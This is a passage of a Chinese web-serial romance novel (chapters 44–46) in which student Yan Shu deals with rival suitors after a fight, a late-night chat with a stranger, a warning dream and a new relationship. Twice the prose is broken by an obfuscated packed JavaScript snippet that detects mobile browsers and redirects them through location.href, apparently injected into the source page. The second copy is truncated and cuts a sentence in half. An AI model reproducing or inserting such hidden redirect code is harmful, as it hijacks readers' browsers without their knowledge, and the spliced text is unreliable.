见两人又打了起来,燕舒面色恢复平静,冷漠问道:“纪佳时,你也是疯了吗?” “突然出现,莫名其妙打人,你在做什么?” “燕舒,我……”纪佳时动作停下。 下一刻,陈平生翻身,将纪佳时按住,溪水被搅得混浊。 “燕舒,他发疯了,我帮你教训他。”陈平生笑道。 相比于纪佳时,陈平生从小学起就开始和人打架,不仅有学习经验而且有实战经验。 纪佳时一落了下风,想停止,却停不下来,因为不想被动挨打。 “滚!”纪佳时怒斥。陈平生的拳头再次来袭,他用手格挡,却被其抓住手腕,再次按进水中。 陈平生盯着纪佳时冷笑,“你凭什么打我?吃醋?” “你有什么资格吃醋。” 水灌进鼻腔,纪佳时挣扎起身,他望向燕舒,却见燕舒面色冷然,“随你们打吧,往死里打。” 说着,她转身略过两人离开。 燕舒实在不想理,早上冷飕飕的,溪水更冰凉,难不成让她下水劝两人分开,她感冒了怎么办? 打就打吧,反正痛的又不是她。 燕舒不知道别人面对争风吃醋场景会作何反应,但她心底想的却是:两个神经病。 “神经病!”纪佳时的拳头砸向陈平生的脸。 陈平生偏头躲过,“是谁莫名其妙冲上来打人,还骂我神经病。” “你在激我,我刚刚看见了我,所以故意的。”脑子在冷水里泡了泡,火气不消也得消。 “对,就是想打你。”两人在溪水中翻滚,拳头与身体碰撞,发出沉闷的声响。 陈平生是故意的,但他不能主动对纪佳时出手,因为燕舒喜欢对方。只能故意激他,再亲一下燕舒。 总之,虽然被打了,但他赚了。 不仅亲了燕舒,还打了纪佳时,并且说不定让燕舒烦了纪佳时也有可能。毕竟,刚刚燕舒离开的神色很冷。 …… 燕舒一个人回到民宿,给张悦几人带了早饭,也告知了陈平生突然离开的消息,几人将她面色平静自然,哪里想得到她刚刚观赏了一场两男打擂台的打斗场面,只叹息旅游队少了个人和陈平生无法看见满山桃花的可惜。 但一行人刚走到山脚就偶遇了陆寻春,人数又变得完整。 “玉树你知道吗?”张悦大声问。 “知道什么?” “每一次偶然的遇见,都是对方蓄谋已久的重逢。” 这是在打趣陆寻春,但他面不改色站在燕舒身边,只对燕舒羞涩一笑。 桃山最顶上有一可观景台,一早上来的人不少,但燕舒一行人只上来了燕舒和陆寻春,其他人都在下面的桃林里拍照游览。 “好漂亮。”从上往下看,整片山坡都被粉色桃花覆盖,像是一片粉色海洋。微风拂过,花浪起伏,空气中弥漫着淡淡的花香。 陆寻春看了眼其他游客,也拿出手机,后退朝燕舒道:“燕舒,我帮你拍照留念吧。” 这景色实在太美,燕舒也想拍照,于是顺从地转过身,背靠着栏杆,天空晴朗,阳光明媚,金色光芒从她身后洒落,给她整个人都镀上了一层金边。陆寻春举起手机,透过镜头看她,白色、粉色、金色,自然明媚,眼睛弯成月牙,嘴角带着浅笑,发丝被风吹乱,却显得格外生动。 44. 第 44 章 病房里,灯光柔和得像是被刻意调暗了几分,墙上的挂画是一幅抽象的艺术品,线条凌乱却莫名和谐,仿佛在无声地彰显着这里的格调。床头柜上放着一只玻璃杯,杯底还残留着几滴水珠,旁边是一本翻了几页的精装书,书脊的烫金标题在灯光下微微反光。 纪佳时靠在床头,脸上贴着几块纱布,嘴角的淤青在白皙的皮肤上格外明晰。他的手指无意识地摩挲着被角,眼神却时不时瞥向门口,像是在等什么人。每一次走廊里传来脚步声,他的心跳都会微微加快,但每次门被推开,往往让他失望。 这次,门又被轻轻推开,一阵淡淡的香水味飘了进来。纪佳时抬眼,表情无波无澜,“妈。” 贵妇人穿着一件剪裁利落的米色风衣,手里拎着一只小巧的手提包,包上的金属扣在灯光下闪着微光。她的妆容很淡,但又恰到好处,显得整个人既优雅又不失气场。 “嗯。”她轻轻应了声。 走到床边,随手将包放在椅子上,目光在他脸上停留了几秒,眉头微微皱起,但很快又舒展开来。 “跟人打架弄成这样,没出息。” 她不必知道他到底跟谁打架,又为什么要打架,因为他没有要告诉她的意思,她更关心的是两方伤势谁重谁轻。 纪佳时主动说:“他也被我打得不轻。” 她舒了口气。 这实在是一件意料之中的事,她儿子虽然看着温和有礼,但囿于家庭中的父母教育,从小就争强好胜,没有被打还不还手的道理。 “听说你在追求人。” 这架估计也是为那人打的,毕竟她安排给他的生活助理说了他这些天的事,不提买了各种小物品,最近更是在C大附近的小公寓里买了一套房,虽然也不值一提,但毕竟是纪佳时做的。 因为知道有拥有的权力,所以他反而很少买东西,她曾经怕他不习惯大学住宿生活也在附近买了一栋别墅,他从来没去过。 买了车,也不用,就昨天让于助理开了一辆普通轿车到校门口,然后自己开车去了桃山,再回来脸上就挂上了伤。 想到燕舒,纪佳时脸上露出笑容,但笑中又有些苦涩,“嗯。” “好吧。你加油。”她从他的表情中看出了一点东西,不在意地挥手起身,“我看你也没什么事,妈就先走了,约着和你柳阿姨打牌呢。” 不就是大学恋爱嘛,她懒得管,毕竟她儿子从小就有自己的主张,见他没什么大事,就起身走人。 纪佳时轻轻点头,笑了笑,没再说话。他家庭氛围就这样,母亲散漫,父亲严厉,两人是家族联姻,但相处的竟异常和谐。 虽然他现在和燕舒的关系只是暧昧中,但纪佳时已经想了很多,他想和她在一起,结婚。他妈应该不会反对,但他爸是个十分看中家庭背景的,会比较难搞。 门被轻轻关上,房间寂静,纪佳时叹了口气,他拿起手机,屏幕上是燕舒的电话。他想打给她,问她为什么不来看他,可又心知她生了气所以不理他,于是也不敢打过去。手指在屏幕上停留了片刻,最终将手机丢到一旁,纪佳时闭上眼睛,深吸了一口气。 …… 研究所。 陈平生坐在电脑前,屏幕上一串串复杂的数据和曲线图,他的手指偶尔在键盘上敲击几下,但目光却始终没有焦距,仿佛透过屏幕看到了更远的地方。 密闭的实验室中弥漫着冷淡的消毒水味,陈平生皱了皱眉,他想起了今天抱着燕舒时嗅到的味道,一股浓郁的花香,她应该是昨天晚上洗了头。 陈平生一贯讨厌浓重的香味,很大原因是他一半时间都在实验室,而实验室的空气需要空旷和干净。但现在,他坐在实验室中,思绪却飘飘然,他想再闻一闻那花香,他想埋在她的发间…… 实验室另一端,几个研究员正小心翼翼地操作着仪器,动作很轻,像是怕惊扰到什么。他们的目光停留在陈平生脸上,又收回,彼此互相交换着眼神,却没人开口说话。 谁能想到休息一天再次见到陈平生,他就给他们带来了巨大的惊讶。不就休息了一天,陈魔王怎么就被打了? 虽然大家各自会吐槽他,但总不能有勇士敢套麻袋打他吧。 瞧他脸上的伤,虽然贴着纱布,但还是能想到当时的狼狈模样。他们斜睨他,只见他神色冷峻,眼里透着一股森森的寒意,像是随时会爆发的火山,却又强压着,让人不敢靠近。 实验室的门被打开,一个研究员走进,他看着坐在一旁的陈平生,面露惊讶。他迟来了,没赶上和其他人一起说悄悄话,这时进来看见陈平生这幅面貌,只觉惊异和好奇。想开口问一问,却见前方凑在一起的几人努力向他使着眼色,只好闭嘴往前走,走到几人身边,压低声音,同时用手肘轻轻碰了碰旁边同事的手,“他,怎么了?” 被碰到的人皱了皱眉,迅速瞥了一眼陈平生的方向,见他没反应,才低声回应:“手机上说……手机上说……” 说完,也用手肘轻轻回碰了一下对方,示意别再继续问。 空气中弥漫着一种无形的压迫感,仿佛连呼吸都变得小心翼翼。刚刚进来的人也受了氛围的影响,闭上了嘴。陈平生的存在像是一块冰冷的巨石,压得所有人都喘不过气来。忽然,他的手指在键盘上停顿了一下,随后缓缓握紧,指节因用力而微微发白。 “实验数据……有问题吗?”他突然开口,声音低沉而冰冷,视线扫过那堆挤在一起的人,眼中没什么情绪。 几人被吓了一跳,但面上不动声色,手上动作轻轻晃了晃又稳了下来,“没问题,一切正常。” 陈平生点头,收回目光,他的视线又停在了屏幕上,然后看到了——他低头向她吻去的画面。 其实当时,他想吻她的唇,可她本身说了“不”,他再继续得寸进尺,她真的会生气。 当他看待两人情感不再深陷从前,便能敏感且细心地察觉她的心思了。 他的手指轻轻触击键盘,心想,燕舒他们现在回来了吗?她现在又在哪呢? 夜晚的校园静谧而深沉,教学楼的草地上,路灯洒下柔和的光晕,燕舒蹲在草地上,微微弯腰,向草丛中隐藏的小猫轻声唤着,“菲利普斯、菲利普斯……” 他们一行人晚上七点多回的校,还在附近吃了顿饭,之后钟玉树和蒋琏先离开,再是张悦要带着她弟回家,于是本该燕舒和李梦音回寝室,但中途李梦音接到电话也有事走了,最终燕舒一个人走在回寝室的路上。 路过教学楼,见一只小猫轻巧跳跃,从左边草丛钻入右边草丛,再优雅地钻出来到燕舒脚边用脑袋轻蹭。 燕舒心都化了。 她跑去超市买了两根火腿肠,又急急地赶回来。 明明听见了猫叫,但小猫却不钻出来了,于是,燕舒蹲下猫着腰朝草丛中轻声呼唤。 莫沅站在他站在台阶上,目光自然而然地落在她的身上。楼道灯光从出口泻出,刚刚好照在他身上,身影修长,光影下轮廓格外清晰。深色的风衣,称得人稍显冷峻,但脸上的温柔笑意又抵消了这冷峻气质。 他抬脚,走下阶梯。 脚步声不轻不重,听声音似乎就知道来人的性格。 燕舒转头,有些惊讶,“莫教授。” “嗯,才回学校?” 燕舒点头。 男人站在她面前,低头俯视她,声音语调平静,但似乎又有一股莫名的情绪,燕舒感到奇怪。她想站起身,却见他已然蹲在她身旁。 “菲利普斯。”他朝草丛中的小猫唤道。 不一会儿,草丛中传来一阵窸窸窣窣的声音,还伴着一阵猫叫,一只小狸花猫从阴影中探出头来,圆溜溜的眼睛在黑暗中闪着光。 燕舒侧头瞥了他一眼。 “我今天七点多才给他吃过猫罐头。”他看见了她手中的两根火腿肠。 菲利普斯先到莫沅的腿边蹭了蹭,然后又走到燕舒脚边,燕舒和莫教授对视一眼,最终咬开火腿肠,递到菲利普斯嘴边。 “教授今天也有课吗?工作到这么晚。”燕舒问。 莫沅手指轻轻抚过小猫的背,小猫小口咬着火腿吃。 “今天没课,也没什么事做,不如来学校喂猫。你周末去桃山玩了?”他一边摸猫一边看着她,目光直直的。 燕舒有些疑惑,“教授你怎么知道?” “朋友圈。” 她只发了一张图,女生站在高台,倚着玻璃栏杆,长发散落飞舞,眸光沉静,嘴角微翘。白色毛衣,身后是粉色桃花,她脸颊也泛着粉红。 人面桃花相映红。 “哦。”燕舒干笑。 差点忘了,对方也加了她。 “桃山好玩吗?”他似是很好奇。 “教授没去过吗?” 莫沅摇头。 燕舒挑着好玩的地方、好看的风景给对方讲,也讲了自己这行人这两天遇见的趣事。 莫沅一边听着,一边附和,他垂着眸,视线虚虚落在对面女生的唇上,夜深了哪里比得上白天的亮度,但她的唇色在灯光下显得格外柔和,像是初春绽放的花瓣。 突然,他闭上了眼睛,因为他想到了之前看到的那一幕,校门口,树影后,她被人环住腰身,歪头咬住唇,互相勾缠的样子。只一瞥,他却在记忆里反复回放,反复放大描摹,连细节也要看得清清楚楚。 现在人站在他面前,他想,无须再回忆那一幕了,他只要倾身上前便能够感受所有。 他为自己的这些想法感到不耻。 但随即,那些不耻又烟消云散。 他喜欢她,他承认。 “莫教授,你怎么了?”看着面前忽然闭上眼睛的人,燕舒顿时停住话语,抬手在莫沅面前晃了晃。 莫沅睁开眼睛,他看着面前的人,脸上露出微笑。 “没什么,刚刚在想事情。” 菲利普斯已然将一整根火腿肠吃完,喵了几声,蹭了蹭燕舒的手,转身跑进了草丛。 两人都站起身,他站在她旁边,低头看着她,视线落在她的侧脸,看她微微翘起的睫毛,还有那抹淡淡的笑意。 “在师姐那工作得怎么样?”他问。 提到工作,燕舒变得有些拘谨,“挺好的,宋老师很严谨负责,我收获很大。” 莫沅无奈一笑,“你说话好官方,难不成怕你给我说宋晴的坏话,我听了之后会给她告状。” “哪有。” “宋编是真的很厉害,工作认真严谨负责。” “她上学时也是。” “……” 两人又聊了一会,莫沅深知事情过犹不及的道理,于是主动结束话题,准备离开。 燕舒转身往前走了几步,忽地听身后传来声音,她往后看,是莫教授问:“燕舒,明天要来上班吧。毕竟你没跟我请假。” “好的。”虽然是选修课,但燕舒没有为工作一节课都不上的想法,何况,她最近接手的工作方向是《金融正报》的新媒体运营方向,只要工作按时完成,质量达标,她甚至后期可以少去公司。 “好,明天见。” 她看见,高挺的身影朝她挥手,声音里带着笑意,听他的话好似极为期待明天的见面。 她想,莫教授真的很活泼。课上严肃,课下活泼。 回了寝室,只燕舒一人,她快速收拾躺上了床。 手机里,纪佳时和陈平生的消息,燕舒看了眼,没理。点进和陆寻春的聊天界面,回了几句,互道晚安,退出。手机息屏,燕舒也闭上了眼睛,酝酿睡意。可过了一会,她又将放置于枕边的手机拿起,点亮,点进视频APP。 右下角的红点明亮,她点击进去,发现之前回的消息竟有了回应。 【11:你好】 …… 【spaceship:不小心点到关注,抱歉】 …… 【11:主播的直播间音乐品味很好,很舒服,很宁静,既然互相关注了,那就是缘分成自然吧,交个朋友[招财猫]】 …… [2min前] 【spaceship:好。】 【spaceship:[招财猫]】 看时间,竟然是几分钟前。 或许是两人聊天回复时间总是不同步,偶然同步一次,燕舒竟然觉得稍稍激动欢喜。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15127020|164337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【11:晚上好,睡了吗?】 对方很快回复: 【spaceship:没】 【spaceship:睡不着。】 【11:我也一样。】 或许是陌生网友的原因,燕舒变得很健谈,对方更是能和她心意地接上她的话,两人竟聊了许久,从各自喜欢的音乐聊到书籍与电影等等。总之,不涉及隐私的爱好类话题都聊了聊,然后惊讶地发现双方在这些方面达成了惊人的一致。 最后,燕舒实在熬不住了,和对面道了晚安。 其实,很多东西和纪佳时、陆寻春也能聊,但不知是不是因为互相知晓心思的原因,总有些别扭,偶然聊到反而会更自然了更惊喜。燕舒迷蒙地思考,想着或许是因为,他们会故意迎合自己吧,虽然开始开心,但总有点不满意。 喜她所喜,爱她所爱,乐她所乐,厌她所厌。这样不符合本然天性的事真的能做一辈子吗?能装一辈子吗? 意识下沉,燕舒进入梦乡。 同一时间,C市的白溪石别墅区。 夜色深沉,窗外的城市灯火渐次熄灭,只剩下零星的几点光亮在远处闪烁,何况现在确实很晚了,光亮就更加黯淡了。 书桌的台灯散发出昏黄的光晕,映照在封泊津疲惫的脸庞上。他眉头微拧,眼神落在手机的聊天屏幕,手指在手机屏幕上无意识地滑动着,看见最后的消息:【晚安,早点休息。】 他将视线从手机屏幕上移开,看向桌面,杂乱的文件、笔记本和几本翻开的书,一杯早已凉透的咖啡静静地搁置在一旁。 他想:算了,反正时间也在和别人的聊天中浪费了,还是早点睡吧。 熄灭手机屏幕,关掉书房的所有灯,走进卧室,一番洗漱后,封泊津穿着睡袍走到阳台,夜风带着森森凉意侵袭而来,远处的天空漆黑一片,连星星都隐匿不见。在阳台待了一会,他回到卧室,上床,点亮手机,依旧是那条“晚安”的消息。他放下手机,闭上了眼睛。 夜深人静,山林也寂静,但山林的寂静并不能使人安定,反而像是森森冷气使人肝胆俱颤。恰巧,此时下着小雨,山间温度骤降,冷风刮起细雨,密林的枝叶摩挲声伴着雨声奏成一曲难言的阴森小调。 燕舒此刻站在密林中,脚踩着泥泞的湿土,对此刻面对的一切都无力吐槽了。 为什么梦里会出现在这里?这正常吗? 不会是因为她白天去了桃山的原因吧? 白天爬山赏花,悠闲自得,晚上阴风冷雨,一片凄苦。玩反差呢? 不过,这里是桃山吗? 燕舒不知道,因为没人回答她。此时此地,只有她一人。 她的头发湿了,幸好身上穿的是防水的登山服,也只有头发湿了。 夜晚光亮黯淡,她用着手机灯照亮前方慢慢走,周围是参天大树,前后左右望去似乎没什么不同,燕舒为难极了,她更不知道这是什么地方,她在这又是做什么?按照道理,梦里会遇见的人此刻没看见一个,燕舒有些心烦。 她要在这里摆烂吗? 算了。 燕舒朝前走,心想自己还没夜晚爬山过呢,反正只是梦,那她就大胆走。她相信,无论自己走那边,往哪里走都会遇见要遇见人。只不过,因为这次梦里要见的人有些多,应该是不同方向遇见不同的人。 夜晚的山林很冷,燕舒打着颤,小心翼翼地走。虽然是梦,但一切体验感都是真实的,她没必要大大咧咧往前走,然后摔在坑里感受一下骨折的痛感。 “纪佳时。”燕舒轻声喊。 “纪佳时!” “陈平生!” “陈平生!” 最开始,燕舒的声音很小,但后面,逐渐大了起来。虽然没达到一语出飞鸟惊的程度,但好歹自己能听见了。最开始的,小得自己都听不见。 “莫教授?” “莫教授你在吗?” 燕舒继续往前走,忽地她看见前方有光,微小但没有消失,甚至四处摇晃变动着位置,像是对方也拿着一个手电筒。 燕舒惊喜极了,忙向对面奔跑而去,并且大声呼喊:“纪佳时!” “陈平生!” “陆寻春!” “莫教授!” 管他对面是谁,先每个喊一遍再说。 但等到了近处,看见对面的人,燕舒呆愣住了。 “燕舒!”看见燕舒,钟玉树面露欢喜,也朝她跑来,紧紧将燕舒抱住。 两人互相依偎依靠,似是将夜间山林的寒凉都驱散了几分。 “你怎么在这?”燕舒问。 “我来找你。”钟玉树回答。 “我没想到会遇见你。”燕舒怔怔道。 “我知道。”钟玉树撇撇嘴,“你重色轻友。” “你刚刚喊的名字,都不是我,但你看,最终还是我找到了你。” “对不起。”燕舒道歉。她面容极为认真,把钟玉树都惊到了。 燕舒拥有梦境之后,在被梦境改变,接受梦中的思想,看着现实中同样的人却在梦中有着不用的抉择、人生路径,她在努力变得更好,变得更自信、更大胆。 她自觉自己不是那种把男人看得至关重要的人,她有些冷酷无情,有些反叛桀骜,所以很快接受并且融入了那些梦,尽管会有思想上的挣扎,但不过是踢开一颗小石子继续朝前走罢了。 但今天的梦,像一道惊雷一般劈开了一些掩藏的东西。 漆黑雨夜,阴冷山林,泥泞路上,她害怕无助,这很正常。她呼唤她梦中会遇见的人的名字,也很正常。 但为什么她那么笃定,一定是纪佳时四人吗? 因为他们是她梦里的常客,因为他们在梦中都喜欢她。 可梦中又不是没出现过其他人,李梦音、宋晴和那四个不知名的女生。 她为什么没喊她们的名字。 有些东西无须再说了。 今天的梦,是一次示警。 它告诉她,燕舒,你脑袋里很多顽固的东西并没有被剔除干净。慢慢的,你会陷入淤泥里的,就像今天一样。 你要等着他们救你吗? 45. 第 45 章 第二天,燕舒依旧早起,但整个人显得无精打采。 李梦音回来,看她这副模样问了几句,但燕舒什么都没说。 下午,莫沅的课上,他看见燕舒,不动声色地讲课,但视线扫过她时眼底的欢喜沉沉浮浮。在意一个人时,关心她的所有,不见面相思,见面欢喜。只不过,下课后他想找她说几句话,但她却仿若没看见他一般,沉默离开。 莫沅不解,想问,但最终只是看着她离开。 …… 四月谷雨,燕舒坐在办公室凭窗远眺,看城市烟雨蒙蒙,天空仿佛被一层薄纱轻轻笼罩。 “唉。”燕舒轻轻一叹。 “怎么了?”旁边工位的霍茵茵移动椅子挪到燕舒身旁,抬眼打量,戏谑道:“着急下班?和你男朋友腻歪?” 燕舒将视线从玻璃窗外收回,她斜靠在桌上,右手撑着脸蛋,另一只手转动着圆珠笔,轻声道:“其实,我今天有些后悔。” 后悔什么? 霍茵茵狭促一笑,继续往前凑,“很正常。昨天答应谈恋爱,今天又想算了算了。我也经常有这样的想法。” “不过……”她拿出常常的尾音,像是故意吊人胃口一般,“你试过吗?” 燕舒想装傻,但霍茵茵的眼神紧紧抓着她,她只能扭头,从桌上的零食筒中拿起一个小面包往霍茵茵手里塞,“闭嘴。” 燕舒是昨天晚上和纪佳时在一起的。 在桃山之行后她冷落过他几天,但纪佳时没有退缩,甚至燕舒送陈平生离开那天他也主动陪着她,两人握手言欢,如果不是脸上的嘴角扯动的疼痛提醒着各自双方的话,似乎之前打架的事只是一阵虚影。 至于和陆寻春的关系…… 燕舒实在做不来时间管理大师,工作、学业两手抓后剩下的时间都被纪佳时提前预定,再剩下的一些零星时间便很难照顾到陆寻春了。他在一次大学城小吃街撞见燕舒与纪佳时吃饭后,加入了进去,看纪佳时与燕舒的亲昵姿态,眼中眸光黯淡,之后便很少给燕舒发那些露腹肌的照片了。 昨天,燕舒去参加他的射箭比赛,这本来是两人约定好的,介于三人关系,燕舒本来没打算喊上纪佳时的,但他紧缠着燕舒不放,再露出一些故作可怜委屈的姿态,燕舒就妥协了。 于是,两人都去看了陆寻春的射箭比赛。 陆寻春是一个在运动上很有天赋的人,射箭不仅是他的爱好更是他的优秀项目,瞄见观众席上的燕舒,脸上先是抑制不住的欢欣喜悦,但随后又看见她身边的纪佳时,脸上的笑容一下凝滞住了。 心中情绪纷杂,最终化为礼貌一笑。 陆寻春家风刚正,他母亲是武者,教导他武术,让他学会坚强与刚毅,父亲是老师,则教导为人处事的道理。 总之,他喜欢一个人会主动争取,但也不会让自己太过痴缠难堪。当看见燕舒和纪佳时在一起时,他虽然心酸失落,但也做不出要强插一脚的事。要礼貌的放手,不让各自难堪,更好一点则是:还能做朋友。 可再看见两个人时,陆寻春握着弓,心想自己还是太龌龊,龌龊到一些私心都不敢想不敢提。 射箭场上,他站在靶场中央,手握长弓,望着前方靶心,目光如鹰隼般锐利。他的姿态看似随意,但搭箭、拉弦,动作流畅而凌厉,仿佛要将所有情绪都倾注在这一箭之中。箭矢破空而出,带着凌厉的呼啸声,直直钉入靶心。 场边传来一阵惊呼声,可他脸上没有丝毫波动,只是冷冷的转身,背影挺拔如松。看见观众席上燕舒鼓掌微笑,陆寻春脸上如冰雪消融般慢慢融化了,他望着她,笑容明媚,神态坦然。 之后,燕舒和纪佳时离开,吃了饭、喝了酒,在清凉的杨柳河畔闲逛。 他们走上公园的石桥,昏黄路灯下,纪佳时凝望着燕舒因酒精而变得粉红的脸颊,心脏扑通扑通地跳。 她穿着白色的运动外套,拉链下滑露出纤长的脖颈,马尾因酒后的开心蹦跳而松散,原本清凌凌的眼眸也变得水润,雾蒙蒙的。 她倚在石桥上,歪头喊他,“纪佳时。” “嗯。” “纪佳时!” “我在。” “过来。”她语调软绵。 纪佳时朝她走过去,一步步的,整个人将她笼罩。 “你在想什么?”她问。 “我在吃醋。”纪佳时回答。 “啊?”她呆呆地仰头看他。 纪佳时低头,手抚摸她的头,然后慢慢将手指插入发间,轻轻梳着,再慢慢将那绑着她头发发圈解下,声音轻缓,“只想阿舒看着我,对我笑,对我好。” “你今天对别人笑了,还给他鼓掌,我心里酸酸的,不开心。”他声音低沉,似有一股委屈之意。 燕舒没有说话,她头昏昏沉沉,虽然清醒,但思考的速度实在缓慢。 见她不说话,纪佳时低头亲她的额头。 “阿舒,我是你的谁?” “纪佳时。”这次,燕舒回答得很快。 她笑得狡黠,看着纪佳时,眼睛亮晶晶的,似乎求表扬一般。 “不对。”纪佳时冷了脸,他抬手捏住燕舒脸上的肉,恶声恶气地重复,“不对。” 燕舒看着他,不说话了。于是,他另一只手也捏住她另一边的脸颊。 “我是你男朋友。”他覆在她耳边低声痴缠,咬住她的耳朵,轻轻地咬、慢慢地舔。 “男朋友。”燕舒点头。 “对。” 他吻住她的唇,舔舐她的唇瓣,然后再抵进她的口腔,吞噬她的津液…… 夜色如墨,公园的石桥在月光下泛着淡淡光泽,桥下的流水轻轻流淌,映着点点星光。微风拂过,带来一丝凉意,却吹不散两人之间炽热交换的呼吸。 忽然,纪佳时手臂一用力,将她轻轻托起,放在了石桥的边缘。 “呀!”燕舒惊呼。 她被吻得晕乎乎,当然,这其中或许有酒精的作用。但坐上石桥边缘的一瞬间,她彻底情绪了一瞬,脊背微微一僵,感受到身后空落落的,只有漆黑的夜色和隐约的水声。她下意识地前倾,双手紧紧环住纪佳时的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他挪动身体,靠在床沿,伸手拿过床边的玻璃水杯,水温热,杯沿因热气而凝结了水珠。他转动手腕,喝了一口,喉结滚动,进行着吞咽。然后,他抬起燕舒的头,低头吻上她的唇,迅速撬开齿关,舌头在其中畅游。口中有异物,燕舒伸舌想将其抵出去,却反被对方勾缠,像是一条鱼落入了渔网,反复挣扎跳跃也跳不出,她呻吟出声,眼角溢出来泪来。 纪佳时吻了很久,吻得燕舒彻底头晕目眩,她口腔中所有的呼吸被他尽数夺走,于是只能僵直梆动。 纪佳时一挪开,她就伸手抓着自己的衣领,像是因为领口才让她呼吸不上来。拉链被下拉,纪佳时视线下移,呼吸短促地停了一瞬,然后他再次低头舔舐她划过脸颊的泪。低声道:“燕舒,我好渴。” 燕舒对入睡前的最后一幕记忆就是纪佳时倾身而上,因拉链下拉,他就着露出的左边肩颈,低头咬下。 不疼,但有些痒。 总之,两人什么都没发生,但纪佳时一直在闹她,闹到最后,燕舒不仅口头答应给纪佳时一个身份,并且还在朋友圈发了之前的拍的一张合照证明。闹得太久,燕舒没时间做梦,并且还上班迟到了。 思绪回笼,已到下班时间,她走出公司大楼,抬眸看见,纪佳时站在对面等她。将她出现,刚刚还百无聊赖、神思恍惚的神情立刻变了,脸上露出笑容。 “燕舒。” 46. 第 46 章 在婚恋市场,燕舒勉强吃香。 不算漂亮的长相,但清秀有余,打扮打扮甚至可以夸一句秀丽佳人。性格温和,不与人交恶,在工作交际上处理得堪称圆滑得体。家境虽然没多好,但也没多坏,普普通通,但所幸有高学历弥补加分。 这是燕舒和霍茵茵吃饭时偶然听到的话,一些男同事对她评价打分,总结她是个贤妻良母、能过日子的好女孩。 甚至他们还拿霍茵茵和她对比,贬低霍茵茵大小姐、刁蛮骄横,暗中讽刺霍茵茵不良于室,可怜郭涛对霍茵茵掏心掏肺地追求却得不到半点好。 听到这里时,燕舒终于皱起了眉,霍茵茵也忍不住站起身端起餐盘,走过餐厅的转角将饭菜拍到刚刚说话那人的脸上。 她是大小姐,她凭什么忍。 这天之后,郭涛对霍茵茵的追求终于停止,一些其他男同事对燕舒的示好也终于停止,但一些针对两人的酸言酸语却私下传开。 不过,两人都不在意。 霍茵茵开豪车、穿名牌,上班风风火火地来又风风火火地离开,那些针对她的酸言酸语不过是她快乐生活的调剂。而燕舒,她一向有把旁人话语过滤的能力,心态极稳定。但某天,她和纪佳时闲聊过这事后,纪佳时最先表面不动声色,离开后却开始给燕舒送各种东西,衣服、包包、手表,刚开始的东西燕舒还能回礼,但后面的就实在难为她了。 她推拒一两回后也收下了,因为她喜欢、她想拥有。 其中最喜欢的一个礼物是百达翡丽一块女士手表,价格五十多万,表带是酒红色的,适合日常佩戴。 燕舒的回礼是一只五千多的万宝龙钢笔。 第二天,纪佳时又送了她另一只万宝龙的钢笔。这次,燕舒没有再回礼了。 她问过纪佳时为什么要送她那么多贵重的礼物,纪佳时的回答是:“在我心里,阿舒才是最最珍贵的。” “这些东西反而不值一提。” “而且,我讨厌你公司那些说你坏话、觊觎你的男的,我在追求你,其他人通通靠边。” 燕舒笑了。 男人最爱说漂亮话,她爸从小骗她说“等你考上高中买手机”、“等你考上大学买房”、“等你拿到驾照买车”,这些话她都听烦了。但纪佳时是行动后才说,所以不是漂亮话,不可否认,那时看着他的眼睛燕舒又心动了。 于是,之后纪佳时说开车来公司接她下班,燕舒没提出反对,他们越走越近。 不知道为什么,摆在燕舒工位上的东西越来越贵后,在纪佳时开车在她们公司露面后,在宋晴有一天下班邀请燕舒喝酒表现出亲近后,那些职场上的流言和沉默的针对慢慢地消弭了,仿佛从未出现过。 霍茵茵对此评价:“搞金融的对于金钱都有一种敏感的嗅觉,他们向钱看齐。” 她拿起燕舒桌上的钢笔进行转动,撇嘴道:“这就是,‘人靠衣装,佛靠金装’。” …… “你今天怎么来了?”燕舒走到纪佳时身旁,面露诧异。 她可是知道纪佳时今天有满课,哪来的时间接她下班。 “请假,来接我女朋友下班。”纪佳时语气中透出一股理所当然的得意,笑着看着燕舒,清凌凌的眼眸中满是甜心蜜意。 “今天给你看一个惊喜。” “什么惊喜?”燕舒坐上副驾驶。 “现在告诉你就不算惊喜了。” …… 莫沅没有想到会在自家小区的地下停车场看见燕舒,第一眼他还以为看错了。 但第二眼,女生从墙角缝隙走出,露出全貌,蓝色毛衣叠搭蓝色衬衫,下身是黑色西装裤,长发披肩,戴着黑色大镜框眼睛,样貌素净。 是燕舒。 他握紧方向盘,指关节因为用力而微微泛白,他坐在车里看着她,没动。 他想起今天早上在朋友圈看见的照片,男女都认识,甚至三人见面的时间更早。是了,那个时候,他们已经在一起吃早饭了。 而他呢?醒悟得迟,别扭得很,小心翼翼地靠近,装作不在意一般去关心。 最重要的是横亘在两人之间的身份,老师和学生,虽然已经是大学了,但依旧处于学校这个环境,要说完全不在意也不可能。至少在明白自己的心意之前,莫沅很在意,他和学生在办公室聊天都要开门,生怕传出什么流言。 他的眉头紧紧锁在一起,随后,右手缓缓抬起,修长的手指轻轻搭在眉骨上,微微拧动着眉头,缓解着心中的躁郁。 他看见年轻的男生从车中走出,然后两人手拿着手往前。他也下车,慢慢跟在两人身后,瞧见他们说笑,越凑越近。两人不知说了什么,又忽地停下,然后男生的手一拉,将她揽入自己怀中。 看着路线和燕舒最终走入的电梯,莫沅觉得生活真是有些荒诞可笑。等了一会,他继续往前走,走入同一个电梯,看着显示屏上的“7”,他步入电梯,按下“8”。 …… “铛铛铛!”纪佳时开门。他紧紧盯着燕舒的脸,仔细捕捉她脸上闪过的情绪。 这就是他的惊喜,房子靠近C大,小区环境也好,一梯一户。房子本身就是精装修过的,他买下后不过是旁敲侧击过燕舒的想法后再进行了重新装修,比如喜欢暖色调的灯光还是冷色调的灯光,书房的书架会选择镶嵌式还是落地柜等。 